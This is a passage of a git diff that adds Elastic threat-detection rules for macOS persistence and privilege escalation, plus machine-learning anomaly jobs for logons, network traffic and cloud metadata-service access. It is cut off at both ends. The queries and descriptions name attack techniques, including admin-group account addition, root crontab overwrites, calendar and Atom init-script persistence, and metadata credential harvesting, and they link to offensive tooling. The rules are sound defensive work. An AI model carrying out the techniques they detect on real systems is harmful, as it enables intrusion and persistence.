"MITRE ATT&CK" +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1546/" +name = "Event Triggered Execution" +id = "T1546" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/macos/persistence_suspicious_calendar_modification.toml b/rules/macos/persistence_suspicious_calendar_modification.toml new file mode 100644 index 000000000..5351f1fb9 --- /dev/null +++ b/rules/macos/persistence_suspicious_calendar_modification.toml @@ -0,0 +1,58 @@ +[metadata] +creation_date = "2021/01/19" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies suspicious modifications of the calendar file by an unusual process. Adversaries may create a custom calendar +notification procedure to execute a malicious program at a recurring interval to establish persistence. +""" +false_positives = ["Trusted applications for managing calendars and reminders."] +from = "now-9m" +index = ["logs-endpoint.events.*", "auditbeat-*"] +language = "kuery" +license = "Elastic License v2" +name = "Suspicious Calendar File Modification" +references = [ + "https://labs.f-secure.com/blog/operationalising-calendar-alerts-persistence-on-macos", + "https://github.com/FSecureLABS/CalendarPersist", + "https://github.com/D00MFist/PersistentJXA/blob/master/CalendarPersist.js", +] +risk_score = 47 +rule_id = "cb71aa62-55c8-42f0-b0dd-afb0bb0b1f51" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:file and event.action:modification and + file.path:/Users/*/Library/Calendars/*.calendar/Events/*.ics and + process.executable: + (* and not + ( + /System/Library/* or + /System/Applications/Calendar.app/Contents/MacOS/* or + /usr/libexec/xpcproxy or + /sbin/launchd or + /Applications/* + ) + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1546" +name = "Event Triggered Execution" +reference = "https://attack.mitre.org/techniques/T1546/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/macos/persistence_via_atom_init_file_modification.toml b/rules/macos/persistence_via_atom_init_file_modification.toml new file mode 100644 index 000000000..2d620fcd6 --- /dev/null +++ b/rules/macos/persistence_via_atom_init_file_modification.toml @@ -0,0 +1,32 @@ +[metadata] +creation_date = "2021/01/21" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies modifications to the Atom desktop text editor Init File. Adversaries may add malicious JavaScript code to the +init.coffee file that will be executed upon the Atom application opening. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Potential Persistence via Atom Init Script Modification" +references = [ + "https://github.com/D00MFist/PersistentJXA/blob/master/AtomPersist.js", + "https://flight-manual.atom.io/hacking-atom/sections/the-init-file/", +] +risk_score = 21 +rule_id = "b4449455-f986-4b5a-82ed-e36b129331f7" +severity = "low" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:"file" and not event.type:"deletion" and + file.path:/Users/*/.atom/init.coffee and not process.name:(Atom or xpcproxy) and not user.name:root +''' + diff --git a/rules/macos/privilege_escalation_applescript_with_admin_privs.toml b/rules/macos/privilege_escalation_applescript_with_admin_privs.toml new file mode 100644 index 000000000..e0d64a96f --- /dev/null +++ b/rules/macos/privilege_escalation_applescript_with_admin_privs.toml @@ -0,0 +1,55 @@ +[metadata] +creation_date = "2020/12/27" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies execution of the Apple script interpreter (osascript) without a password prompt and with administrator +privileges. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Apple Scripting Execution with Administrator Privileges" +references = ["https://discussions.apple.com/thread/2266150"] +risk_score = 47 +rule_id = "827f8d8f-4117-4ae4-b551-f56d54b9da6b" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Execution", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and process.name : "osascript" and + process.command_line : "osascript*with administrator privileges" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/macos/privilege_escalation_explicit_creds_via_scripting.toml b/rules/macos/privilege_escalation_explicit_creds_via_scripting.toml new file mode 100644 index 000000000..2668ff790 --- /dev/null +++ b/rules/macos/privilege_escalation_explicit_creds_via_scripting.toml @@ -0,0 +1,60 @@ +[metadata] +creation_date = "2020/12/07" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies execution of the security_authtrampoline process via a scripting interpreter. This occurs when programs use +AuthorizationExecute-WithPrivileges from the Security.framework to run another program with root privileges. It should +not be run by itself, as this is a sign of execution with explicit logon credentials. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Execution with Explicit Credentials via Scripting" +references = [ + "https://objectivebythesea.com/v2/talks/OBTS_v2_Thomas.pdf", + "https://www.manpagez.com/man/8/security_authtrampoline/", +] +risk_score = 47 +rule_id = "f0eb70e9-71e9-40cd-813f-bf8e8c812cb1" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Execution", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and + process.name:"security_authtrampoline" and + process.parent.name:(osascript or com.apple.automator.runner or sh or bash or dash or zsh or python* or perl* or php* or ruby or pwsh) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/macos/privilege_escalation_exploit_adobe_acrobat_updater.toml b/rules/macos/privilege_escalation_exploit_adobe_acrobat_updater.toml new file mode 100644 index 000000000..97f9cad83 --- /dev/null +++ b/rules/macos/privilege_escalation_exploit_adobe_acrobat_updater.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2021/01/19" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Detects attempts to exploit privilege escalation vulnerabilities related to the Adobe Acrobat Reader +PrivilegedHelperTool responsible for installing updates. For more information, refer to CVE-2020-9615, CVE-2020-9614 and +CVE-2020-9613 and verify that the impacted system is patched. +""" +false_positives = ["Trusted system or Adobe Acrobat Related processes."] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Suspicious Child Process of Adobe Acrobat Reader Update Service" +references = [ + "https://rekken.github.io/2020/05/14/Security-Flaws-in-Adobe-Acrobat-Reader-Allow-Malicious-Program-to-Gain-Root-on-macOS-Silently/", +] +risk_score = 73 +rule_id = "f85ce03f-d8a8-4c83-acdc-5c8cd0592be7" +severity = "high" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and + process.parent.name:com.adobe.ARMDC.SMJobBlessHelper and + user.name:root and + not process.executable: (/Library/PrivilegedHelperTools/com.adobe.ARMDC.SMJobBlessHelper or + /usr/bin/codesign or + /private/var/folders/zz/*/T/download/ARMDCHammer or + /usr/sbin/pkgutil or + /usr/bin/shasum or + /usr/bin/perl* or + /usr/sbin/spctl or + /usr/sbin/installer) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1068" +name = "Exploitation for Privilege Escalation" +reference = "https://attack.mitre.org/techniques/T1068/" + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + diff --git a/rules/macos/privilege_escalation_local_user_added_to_admin.toml b/rules/macos/privilege_escalation_local_user_added_to_admin.toml new file mode 100644 index 000000000..0f5514d0b --- /dev/null +++ b/rules/macos/privilege_escalation_local_user_added_to_admin.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/01/05" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies attempts to add an account to the admin group via the command line. This could be an indication of privilege +escalation activity. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Potential Admin Group Account Addition" +references = ["https://managingosx.wordpress.com/2010/01/14/add-a-user-to-the-admin-group-via-command-line-3-0/"] +risk_score = 47 +rule_id = "565c2b44-7a21-4818-955f-8d4737967d2e" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and + process.name:(dscl or dseditgroup) and process.args:(("/Groups/admin" or admin) and ("-a" or "-append")) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" +[[rule.threat.technique.subtechnique]] +id = "T1078.003" +name = "Local Accounts" +reference = "https://attack.mitre.org/techniques/T1078/003/" + + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + diff --git a/rules/macos/privilege_escalation_root_crontab_filemod.toml b/rules/macos/privilege_escalation_root_crontab_filemod.toml new file mode 100644 index 000000000..759156414 --- /dev/null +++ b/rules/macos/privilege_escalation_root_crontab_filemod.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2021/01/27" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies modifications to the root crontab file. Adversaries may overwrite this file to gain code execution with root +privileges by exploiting privileged file write or move related vulnerabilities. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Privilege Escalation via Root Crontab File Modification" +references = [ + "https://phoenhex.re/2017-06-09/pwn2own-diskarbitrationd-privesc", + "https://www.exploit-db.com/exploits/42146", +] +risk_score = 73 +rule_id = "0ff84c42-873d-41a2-a4ed-08d74d352d01" +severity = "high" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:file and not event.type:deletion and + file.path:/private/var/at/tabs/root and not process.executable:/usr/bin/crontab +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1053" +name = "Scheduled Task/Job" +reference = "https://attack.mitre.org/techniques/T1053/" +[[rule.threat.technique.subtechnique]] +id = "T1053.003" +name = "Cron" +reference = "https://attack.mitre.org/techniques/T1053/003/" + + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + diff --git a/rules/ml/ml_auth_rare_hour_for_a_user_to_logon.toml b/rules/ml/ml_auth_rare_hour_for_a_user_to_logon.toml new file mode 100644 index 000000000..1e1524059 --- /dev/null +++ b/rules/ml/ml_auth_rare_hour_for_a_user_to_logon.toml @@ -0,0 +1,28 @@ +[metadata] +creation_date = "2021/06/10" +maturity = "production" +updated_date = "2021/06/10" +min_stack_comments = "ML job introduced in 7.14" +min_stack_version = "7.14.0" + +[rule] +anomaly_threshold = 75 +author = ["Elastic"] +description = """ +A machine learning job detected a user logging in at a time of day that is unusual for the user. This can be due to +credentialed access via a compromised account when the user and the threat actor are in different time zones. In +addition, unauthorized user activity often takes place during non-business hours. +""" +false_positives = ["Users working late, or logging in from unusual time zones while traveling, may trigger this rule."] +from = "now-30m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "auth_rare_hour_for_a_user" +name = "Unusual Hour for a User to Logon" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "745b0119-0560-43ba-860a-7235dd8cee8d" +severity = "low" +tags = ["Elastic", "Authentication", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_auth_rare_source_ip_for_a_user.toml b/rules/ml/ml_auth_rare_source_ip_for_a_user.toml new file mode 100644 index 000000000..400624fe8 --- /dev/null +++ b/rules/ml/ml_auth_rare_source_ip_for_a_user.toml @@ -0,0 +1,29 @@ +[metadata] +creation_date = "2021/06/10" +maturity = "production" +updated_date = "2021/06/10" +min_stack_comments = "ML job introduced in 7.14" +min_stack_version = "7.14.0" + +[rule] +anomaly_threshold = 75 +author = ["Elastic"] +description = """ +A machine learning job detected a user logging in from an IP address that is unusual for the user. This can be due to +credentialed access via a compromised account when the user and the threat actor are in different locations. An unusual +source IP address for a username could also be due to lateral movement when a compromised account is used to pivot +between hosts. +""" +false_positives = ["Business travelers who roam to new locations may trigger this alert."] +from = "now-30m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "auth_rare_source_ip_for_a_user" +name = "Unusual Source IP for a User to Logon from" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "d4b73fa0-9d43-465e-b8bf-50230da6718b" +severity = "low" +tags = ["Elastic", "Authentication", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_auth_rare_user_logon.toml b/rules/ml/ml_auth_rare_user_logon.toml new file mode 100644 index 000000000..83c808e9c --- /dev/null +++ b/rules/ml/ml_auth_rare_user_logon.toml @@ -0,0 +1,35 @@ +[metadata] +creation_date = "2021/06/10" +maturity = "production" +updated_date = "2021/06/10" +min_stack_comments = "ML job introduced in 7.14" +min_stack_version = "7.14.0" + +[rule] +anomaly_threshold = 75 +author = ["Elastic"] +description = """ +A machine learning job found an unusual user name in the authentication logs. An unusual user name is one way of +detecting credentialed access by means of a new or dormant user account. An inactive user account (because the user +has left the organization) that becomes active may be due to credentialed access using a compromised account password. +Threat actors will sometimes also create new users as a means of persisting in a compromised web application. +""" +false_positives = [ + """ + User accounts that are rarely active, such as a site reliability engineer (SRE) or developer logging into a + production server for troubleshooting, may trigger this alert. Under some conditions, a newly created user account + may briefly trigger this alert while the model is learning. + """, +] +from = "now-30m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "auth_rare_user" +name = "Rare User Logon" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "138c5dd5-838b-446e-b1ac-c995c7f8108a" +severity = "low" +tags = ["Elastic", "Authentication", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_auth_spike_in_failed_logon_events.toml b/rules/ml/ml_auth_spike_in_failed_logon_events.toml new file mode 100644 index 000000000..13f2081a1 --- /dev/null +++ b/rules/ml/ml_auth_spike_in_failed_logon_events.toml @@ -0,0 +1,33 @@ +[metadata] +creation_date = "2021/06/10" +maturity = "production" +updated_date = "2021/06/10" +min_stack_comments = "ML job introduced in 7.14" +min_stack_version = "7.14.0" + +[rule] +anomaly_threshold = 75 +author = ["Elastic"] +description = """ +A machine learning job found an unusually large spike in authentication failure events. This can be due to password +spraying, user enumeration or brute force activity and may be a precursor to account takeover or credentialed access. +""" +false_positives = [ + """ + A misconfigured service account can trigger this alert. A password change on an account used by an email client can + trigger this alert. Security test cycles that include brute force or password spraying activities may trigger this + alert. + """, +] +from = "now-30m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "auth_high_count_logon_fails" +name = "Spike in Failed Logon Events" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "99dcf974-6587-4f65-9252-d866a3fdfd9c" +severity = "low" +tags = ["Elastic", "Authentication", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_auth_spike_in_logon_events.toml b/rules/ml/ml_auth_spike_in_logon_events.toml new file mode 100644 index 000000000..62b611e99 --- /dev/null +++ b/rules/ml/ml_auth_spike_in_logon_events.toml @@ -0,0 +1,32 @@ +[metadata] +creation_date = "2021/06/10" +maturity = "production" +updated_date = "2021/06/10" +min_stack_comments = "ML job introduced in 7.14" +min_stack_version = "7.14.0" + +[rule] +anomaly_threshold = 75 +author = ["Elastic"] +description = """ +A machine learning job found an unusually large spike in successful authentication events. This can be due to password +spraying, user enumeration or brute force activity. +""" +false_positives = [ + """ + Build servers and CI systems can sometimes trigger this alert. Security test cycles that include brute force or + password spraying activities may trigger this alert. + """, +] +from = "now-30m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "auth_high_count_logon_events" +name = "Spike in Logon Events" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "d7d5c059-c19a-4a96-8ae3-41496ef3bcf9" +severity = "low" +tags = ["Elastic", "Authentication", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_auth_spike_in_logon_events_from_a_source_ip.toml b/rules/ml/ml_auth_spike_in_logon_events_from_a_source_ip.toml new file mode 100644 index 000000000..4f668f574 --- /dev/null +++ b/rules/ml/ml_auth_spike_in_logon_events_from_a_source_ip.toml @@ -0,0 +1,32 @@ +[metadata] +creation_date = "2021/06/10" +maturity = "production" +updated_date = "2021/09/14" +min_stack_comments = "ML job introduced in 7.14" +min_stack_version = "7.14.0" + +[rule] +anomaly_threshold = 75 +author = ["Elastic"] +description = """ +A machine learning job found an unusually large spike in successful authentication events from a particular +source IP address. This can be due to password spraying, user enumeration or brute force activity. +""" +false_positives = [ + """ + Build servers and CI systems can sometimes trigger this alert. Security test cycles that include brute force or + password spraying activities may trigger this alert. + """, +] +from = "now-30m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "auth_high_count_logon_events_for_a_source_ip" +name = "Spike in Logon Events from a Source IP" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "e26aed74-c816-40d3-a810-48d6fbd8b2fd" +severity = "low" +tags = ["Elastic", "Authentication", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_high_count_network_denies.toml b/rules/ml/ml_high_count_network_denies.toml new file mode 100644 index 000000000..ea7f00a4f --- /dev/null +++ b/rules/ml/ml_high_count_network_denies.toml @@ -0,0 +1,33 @@ +[metadata] +creation_date = "2021/04/05" +maturity = "production" +updated_date = "2021/06/15" + +[rule] +anomaly_threshold = 75 +author = ["Elastic"] +description = """ +A machine learning job detected an unusually large spike in network traffic that was +denied by network access control lists (ACLs) or firewall rules. Such a burst of denied traffic is usually caused by +either 1) a mis-configured application or firewall or 2) suspicious or malicious activity. +Unsuccessful attempts at network transit, in order to connect to command-and-control (C2), +or engage in data exfiltration, may produce a burst of failed connections. This could also +be due to unusually large amounts of reconnaissance or enumeration traffic. Denial-of-service +attacks or traffic floods may also produce such a surge in traffic. +""" +false_positives = [ + """ + A misconfgured network application or firewall may trigger this alert. Security scans or test cycles may trigger this alert. + """, +] +from = "now-30m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "high_count_network_denies" +name = "Spike in Firewall Denies" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "eaa77d63-9679-4ce3-be25-3ba8b795e5fa" +severity = "low" +tags = ["Elastic", "Network", "Threat Detection", "ML"] +type = "machine_learning" diff --git a/rules/ml/ml_high_count_network_events.toml b/rules/ml/ml_high_count_network_events.toml new file mode 100644 index 000000000..38cb5ab7f --- /dev/null +++ b/rules/ml/ml_high_count_network_events.toml @@ -0,0 +1,33 @@ +[metadata] +creation_date = "2021/04/05" +maturity = "production" +updated_date = "2021/08/14" + +[rule] +anomaly_threshold = 75 +author = ["Elastic"] +description = """ +A machine learning job detected an unusually large spike in network traffic. Such a burst of traffic, +if not caused by a surge in business activity, can be due to suspicious or malicious activity. +Large-scale data exfiltration may produce a burst of network traffic; this could also be due to unusually +large amounts of reconnaissance or enumeration traffic. Denial-of-service attacks or traffic floods may +also produce such a surge in traffic. +""" +false_positives = [ + """ + Business workflows that occur very occasionally, and involve an unusual surge in network traffic, + can trigger this alert. A new business workflow or a surge in business activity may trigger this alert. + A misconfigured network application or firewall may trigger this alert. + """, +] +from = "now-30m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "high_count_network_events" +name = "Spike in Network Traffic" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "b240bfb8-26b7-4e5e-924e-218144a3fa71" +severity = "low" +tags = ["Elastic", "Network", "Threat Detection", "ML"] +type = "machine_learning" diff --git a/rules/ml/ml_linux_anomalous_compiler_activity.toml b/rules/ml/ml_linux_anomalous_compiler_activity.toml new file mode 100644 index 000000000..3b60a5bbf --- /dev/null +++ b/rules/ml/ml_linux_anomalous_compiler_activity.toml @@ -0,0 +1,30 @@ +[metadata] +creation_date = "2020/09/03" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +Looks for compiler activity by a user context which does not normally run compilers. This can be the result of ad-hoc +software changes or unauthorized software deployment. This can also be due to local privilege elevation via locally run +exploits or malware activity. +""" +false_positives = [ + """ + Uncommon compiler activity can be due to an engineer running a local build on a production or staging instance in + the course of troubleshooting or fixing a software issue. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "linux_rare_user_compiler" +name = "Anomalous Linux Compiler Activity" +risk_score = 21 +rule_id = "cd66a419-9b3f-4f57-8ff8-ac4cd2d5f530" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_linux_anomalous_kernel_module_arguments.toml b/rules/ml/ml_linux_anomalous_kernel_module_arguments.toml new file mode 100644 index 000000000..8762da02f --- /dev/null +++ b/rules/ml/ml_linux_anomalous_kernel_module_arguments.toml @@ -0,0 +1,46 @@ +[metadata] +creation_date = "2020/09/03" +maturity = "production" +updated_date = "2021/08/25" + +[rule] +anomaly_threshold = 25 +author = ["Elastic"] +description = """ +Looks for unusual kernel module activity. Kernel modules are sometimes used by malware and persistence mechanisms for +stealth. +""" +false_positives = [ + """ + A Linux host running unusual device drivers or other kinds of kernel modules could trigger this detection. + Troubleshooting or debugging activity using unusual arguments could also trigger this detection. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "linux_rare_kernel_module_arguments" +name = "Anomalous Kernel Module Activity" +risk_score = 21 +rule_id = "37b0816d-af40-40b4-885f-bb162b3c88a9" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "ML"] +type = "machine_learning" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1547" +name = "Boot or Logon Autostart Execution" +reference = "https://attack.mitre.org/techniques/T1547/" +[[rule.threat.technique.subtechnique]] +id = "T1547.006" +name = "Kernel Modules and Extensions" +reference = "https://attack.mitre.org/techniques/T1547/006/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/ml/ml_linux_anomalous_metadata_process.toml b/rules/ml/ml_linux_anomalous_metadata_process.toml new file mode 100644 index 000000000..6b50296d1 --- /dev/null +++ b/rules/ml/ml_linux_anomalous_metadata_process.toml @@ -0,0 +1,29 @@ +[metadata] +creation_date = "2020/09/22" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +Looks for anomalous access to the metadata service by an unusual process. The metadata service may be targeted in order +to harvest credentials or user data scripts containing secrets. +""" +false_positives = [ + """ + A newly installed program or one that runs very rarely as part of a monthly or quarterly workflow could trigger this + detection rule. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = ["linux_rare_metadata_process", "v2_linux_rare_metadata_process"] +name = "Unusual Linux Process Calling the Metadata Service" +risk_score = 21 +rule_id = "9d302377-d226-4e12-b54c-1906b5aec4f6" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_linux_anomalous_metadata_user.toml b/rules/ml/ml_linux_anomalous_metadata_user.toml new file mode 100644 index 000000000..ecdbf7d8d --- /dev/null +++ b/rules/ml/ml_linux_anomalous_metadata_user.toml @@ -0,0 +1,29 @@ +[metadata] +creation_date = "2020/09/22" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +anomaly_threshold = 75 +author = ["Elastic"] +description = """ +Looks for anomalous access to the cloud platform metadata service by an unusual user. The metadata service may be +targeted in order to harvest credentials or user data scripts containing secrets. +""" +false_positives = [ + """ + A newly installed program, or one that runs under a new or rarely used user context, could trigger this detection + rule. Manual interrogation of the metadata service during debugging or troubleshooting could trigger this rule. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = ["linux_rare_metadata_user", "v2_linux_rare_metadata_user"] +name = "Unusual Linux User Calling the Metadata Service" +risk_score = 21 +rule_id = "1faec04b-d902-4f89-8aff-92cd9043c16f" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_linux_anomalous_network_activity.toml b/rules/ml/ml_linux_anomalous_network_activity.toml new file mode 100644 index 000000000..aa8efa672 --- /dev/null +++ b/rules/ml/ml_linux_anomalous_network_activity.toml @@ -0,0 +1,36 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/05/10" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +Identifies Linux processes that do not usually use the network but have unexpected network activity, which can indicate +command-and-control, lateral movement, persistence, or data exfiltration activity. A process with unusual network +activity can denote process exploitation or injection, where the process is used to run persistence mechanisms that +allow a malicious actor remote access or control of the host, data exfiltration, and execution of unauthorized network +applications. +""" +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "linux_anomalous_network_activity_ecs" +name = "Unusual Linux Network Activity" +note = """## Triage and analysis + +### Investigating Unusual Network Activity +Detection alerts from this rule indicate the presence of network activity from a Linux process for which network activity is rare and unusual. Here are some possible avenues of investigation: +- Consider the IP addresses and ports. Are these used by normal but infrequent network workflows? Are they expected or unexpected? +- If the destination IP address is remote or external, does it associate with an expected domain, organization or geography? Note: avoid interacting directly with suspected malicious IP addresses. +- Consider the user as identified by the username field. Is this network activity part of an expected workflow for the user who ran the program? +- Examine the history of execution. If this process only manifested recently, it might be part of a new software package. If it has a consistent cadence (for example if it runs monthly or quarterly), it might be part of a monthly or quarterly business or maintenance process. +- Examine the process arguments, title and working directory. These may provide indications as to the source of the program or the nature of the tasks it is performing.""" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "52afbdc5-db15-485e-bc24-f5707f820c4b" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_linux_anomalous_network_port_activity.toml b/rules/ml/ml_linux_anomalous_network_port_activity.toml new file mode 100644 index 000000000..5e46c594f --- /dev/null +++ b/rules/ml/ml_linux_anomalous_network_port_activity.toml @@ -0,0 +1,26 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +Identifies unusual destination port activity that can indicate command-and-control, persistence mechanism, or data +exfiltration activity. Rarely used destination port activity is generally unusual in Linux fleets, and can indicate +unauthorized access or threat actor activity. +""" +false_positives = ["A newly installed program or one that rarely uses the network could trigger this alert."] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = ["linux_anomalous_network_port_activity_ecs", "v2_linux_anomalous_network_port_activity_ecs"] +name = "Unusual Linux Network Port Activity" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "3c7e32e6-6104-46d9-a06e-da0f8b5795a0" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_linux_anomalous_network_service.toml b/rules/ml/ml_linux_anomalous_network_service.toml new file mode 100644 index 000000000..db8f67fce --- /dev/null +++ b/rules/ml/ml_linux_anomalous_network_service.toml @@ -0,0 +1,25 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +Identifies unusual listening ports on Linux instances that can indicate execution of unauthorized services, backdoors, +or persistence mechanisms. +""" +false_positives = ["A newly installed program or one that rarely uses the network could trigger this alert."] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = 